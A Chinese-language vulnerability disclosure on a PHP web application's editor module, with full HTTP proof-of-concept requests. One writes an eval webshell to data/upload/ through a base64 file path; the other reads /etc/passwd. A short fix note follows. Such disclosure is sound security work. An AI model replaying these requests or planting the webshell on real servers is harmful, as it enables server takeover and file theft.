漏洞1: 任意文件写入漏洞 自评风险:严重
问题出在这里
这里新建方法的时候,其实会写到限定目录的,限定后是无法访问的所以这里,即使成功写也无法利用。不过,我们能跳出它的限制
老规矩,看poc
POST /zd/www/index.php?m=editor&f=save&filePath=L3Zhci93d3cvemQvd3d3L2RhdGEvdXBsb2FkLzEucGhw&action=newPage HTTP/1.1
Host: 172.16.0.128:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=edit&filePath=L3Zhci93d3cvemQvbW9kdWxlL2luc3RhbGwvZXh0L2NvbnRyb2wvaW5mby5waHA=&action=newPage&isExtends=
Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
fileContent=<?php @eval($_POST['test']);?>
filePath 的值其实是目标文件的base64的编码值,所以,这里只要修改下就可以搞定了,当然,你得找个既能写入又能访问的目录,明显,data/upload/就是我们要的
直接拿到后门了。是不是很简单,别问我怎么得到物理路径的,随便到处都是,编辑的地方都有。
漏洞2:读文件 自评风险:高危
这个其实根据上面那个发现方法一样,利用方法也一样,只是这次换成读任意文件。
看poc:
GET /zd/www/index.php?m=editor&f=edit&filePath=L2V0Yy9wYXNzd2Q=&action=override&isExtends= HTTP/1.1
Host: 172.16.0.128:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=extend&moduleDir=install
Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6
Connection: keep-alive
L2V0Yy9wYXNzd2Q= 这个就是/etc/passwd的base64的值了漏洞证明:
一直觉得这个证明的框有些多余,每个漏洞说明的时候其实就加上证明了。
个人测试了5.2 ,5.3 ,6.2 三个版本,都存在这个问题。只要你有后台权限,肯定拿shell的。
其中,url换成伪静态的时候远离也一样,那一长串就是目标文件的url的base64,记住这个就好了。修复方案:
老生常谈了,限制限制还是限制,不能想读那个就读那个,想写那个就写那个啊,